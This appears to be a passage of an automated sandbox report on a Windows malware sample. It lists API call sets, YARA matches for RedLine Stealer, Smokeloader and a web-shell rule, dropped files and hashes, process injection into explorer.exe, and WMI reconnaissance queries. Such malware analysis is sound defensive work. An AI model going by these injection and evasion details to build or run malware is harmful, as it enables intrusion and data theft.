Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Code function: 9_2_00401627 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	9_2_00401627
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Code function: 9_2_00403433 GetKeyboardLayoutList,NtMapViewOfSection,NtDuplicateObject,NtQuerySystemInformation,NtOpenKey,strstr,tolower,towlower,	9_2_00403433
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Code function: 9_2_004015FB NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	9_2_004015FB
Source: C:\Users\user\AppData\Roaming\uegasii	Code function: 10_2_00403103 RtlCreateUserThread,NtTerminateProcess,	10_2_00403103
Source: C:\Users\user\AppData\Roaming\uegasii	Code function: 10_2_004014FB NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	10_2_004014FB
Source: C:\Users\user\AppData\Roaming\uegasii	Code function: 10_2_00401641 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	10_2_00401641
Source: C:\Users\user\AppData\Roaming\uegasii	Code function: 10_2_00403257 RtlCreateUserThread,NtTerminateProcess,	10_2_00403257
Source: C:\Users\user\AppData\Roaming\uegasii	Code function: 10_2_00401606 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	10_2_00401606
Source: C:\Users\user\AppData\Roaming\uegasii	Code function: 10_2_00401613 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	10_2_00401613
Source: C:\Users\user\AppData\Roaming\uegasii	Code function: 10_2_00401627 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	10_2_00401627
Source: C:\Users\user\AppData\Roaming\uegasii	Code function: 10_2_004015FB NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	10_2_004015FB
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_00434B92 RtlMoveMemory,NtUnmapViewOfSection,	13_2_00434B92
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_004333C3 NtQueryInformationFile,	13_2_004333C3
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_0043342B NtQueryObject,NtQueryObject,RtlMoveMemory,	13_2_0043342B
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_0043349B CreateFileW,OpenProcess,NtQueryInformationProcess,NtQueryInformationProcess,NtQueryInformationProcess,GetCurrentProcess,DuplicateHandle,lstrcmpiW,NtQueryObject,StrRChrW,StrRChrW,lstrcmpiW,GetFileSize,SetFilePointer,SetFilePointer,ReadFile,SetFilePointer,CloseHandle,CloseHandle,CloseHandle,	13_2_0043349B
Source: C:\Windows\explorer.exe	Code function: 15_2_00E338B0 NtUnmapViewOfSection,	15_2_00E338B0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 16_2_02F01016 RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,GetCurrentProcessId,lstrcmpiA,CreateToolhelp32Snapshot,Process32First,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,Process32Next,CloseHandle,Sleep,	16_2_02F01016
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 16_2_02F01819 lstrcmpiA,OpenProcess,NtSetInformationProcess,CloseHandle,NtUnmapViewOfSection,NtUnmapViewOfSection,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,CloseHandle,CreateMutexA,GetLastError,CloseHandle,Sleep,GetModuleHandleA,GetProcAddress,ReadProcessMemory,WriteProcessMemory,CreateRemoteThread,CloseHandle,Sleep,WriteProcessMemory,CreateRemoteThread,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,	16_2_02F01819
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 16_2_02F01A80 NtCreateSection,NtMapViewOfSection,	16_2_02F01A80
Source: C:\Windows\explorer.exe	Code function: 17_2_005C355C NtUnmapViewOfSection,	17_2_005C355C
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 18_2_00471016 RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,GetCurrentProcessId,wsprintfA,RtlMoveMemory,CreateToolhelp32Snapshot,Process32First,CharLowerA,lstrcmpiA,lstrcmpiA,Process32Next,CloseHandle,Sleep,	18_2_00471016
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 18_2_00471B26 NtCreateSection,NtMapViewOfSection,	18_2_00471B26
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 18_2_004718BF OpenProcess,NtSetInformationProcess,CloseHandle,NtUnmapViewOfSection,NtUnmapViewOfSection,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,CloseHandle,CreateMutexA,GetLastError,CloseHandle,Sleep,GetModuleHandleA,GetProcAddress,ReadProcessMemory,WriteProcessMemory,CreateRemoteThread,CloseHandle,Sleep,WriteProcessMemory,CreateRemoteThread,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,	18_2_004718BF
Source: C:\Windows\explorer.exe	Code function: 19_2_00AA370C NtUnmapViewOfSection,	19_2_00AA370C

Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Code function: 0_2_00418DF0	0_2_00418DF0
Source: C:\Users\user\AppData\Roaming\jvgasii	Code function: 6_2_00418DF0	6_2_00418DF0
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Code function: 9_2_004159A0	9_2_004159A0
Source: C:\Users\user\AppData\Roaming\uegasii	Code function: 10_2_004159A0	10_2_004159A0
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Code function: 11_2_00007FF7CBCA9AC8	11_2_00007FF7CBCA9AC8
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Code function: 11_2_00007FF7CBCAB428	11_2_00007FF7CBCAB428
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Code function: 11_2_00007FF7CBCA3220	11_2_00007FF7CBCA3220
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Code function: 11_2_00007FF7CBCADC0C	11_2_00007FF7CBCADC0C
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Code function: 11_2_00007FF7CBCAA778	11_2_00007FF7CBCAA778
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Code function: 11_2_00007FF7CBCAA520	11_2_00007FF7CBCAA520
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Code function: 11_2_00007FF7CBCA213C	11_2_00007FF7CBCA213C
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_00432198	13_2_00432198
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_0043C2F9	13_2_0043C2F9
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_0044B35C	13_2_0044B35C
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_00484438	13_2_00484438
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_0044B97E	13_2_0044B97E
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_00436E6A	13_2_00436E6A
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_00455F08	13_2_00455F08
Source: C:\Windows\explorer.exe	Code function: 15_2_00E31E20	15_2_00E31E20
Source: C:\Windows\explorer.exe	Code function: 17_2_005C2054	17_2_005C2054
Source: C:\Windows\explorer.exe	Code function: 17_2_005C2860	17_2_005C2860
Source: C:\Windows\explorer.exe	Code function: 19_2_00AA2A04	19_2_00AA2A04
Source: C:\Windows\explorer.exe	Code function: 19_2_00AA20F4	19_2_00AA20F4

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\8CAE.exe B139090C797214F88A2EA451289AB670000936C413CD2CD45AAA9895C78C63B5

Source: C:\Windows\SysWOW64\explorer.exe

Code function: String function: 00438801 appears 40 times

Source: O4zPA1oI9Y.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2233484367.000000000061F000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000A.00000002.3040636907.0000000000600000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000A.00000002.3041248373.0000000000743000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000006.00000002.2516872418.00000000006F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000A.00000002.3040798589.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000009.00000002.2777517126.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.2233359138.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000006.00000002.2516805210.00000000006B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000009.00000002.2777599585.00000000006D3000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000009.00000002.2777432655.0000000000530000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.2233667706.0000000002170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000006.00000002.2517016123.00000000007DD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2233749509.0000000002191000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000006.00000002.2516839505.00000000006D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000009.00000002.2777687762.00000000008D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000A.00000002.3041046973.00000000006D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: Process Memory Space: explorer.exe PID: 4004, type: MEMORYSTR	Matched rule: ironshell_php author = Neo23x0 Yara BRG + customization by Stefan -dfate- Molls, description = Semi-Auto-generated - file ironshell.php.txt, hash = 8bfa2eeb8a3ff6afc619258e39fded56

Source: O4zPA1oI9Y.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: DE97.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: uegasii.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: jvgasii.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@61/15@9/4

Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe

Code function: 0_2_00622A07 CreateToolhelp32Snapshot,Module32First,

0_2_00622A07

Source: C:\Users\user\AppData\Local\Temp\8CAE.exe

Code function: 11_2_00007FF7CBCA7138 CoInitializeEx,CoInitializeSecurity,CoCreateInstance,

11_2_00007FF7CBCA7138

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\jvgasii

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\DE97.tmp

Jump to behavior

Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior

Source: O4zPA1oI9Y.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Process
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name, DeviceID, NumberOfCores FROM Win32_Processor
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Caption, CommandLine, ExecutablePath, ProcessId FROM Win32_Process
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="4"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="4"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="92"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="92"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="328"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="328"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="412"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="412"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="488"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="488"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="496"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="496"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="560"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="560"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="632"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="632"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="652"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="652"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="752"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="752"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="780"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="780"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="788"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="788"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="868"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="868"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="928"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="928"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="996"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="996"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="436"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="436"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="376"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="376"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="60"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="60"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="980"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="980"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1040"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1040"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1064"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1064"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1140"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1140"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1192"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1192"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1248"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1248"::GetOwner
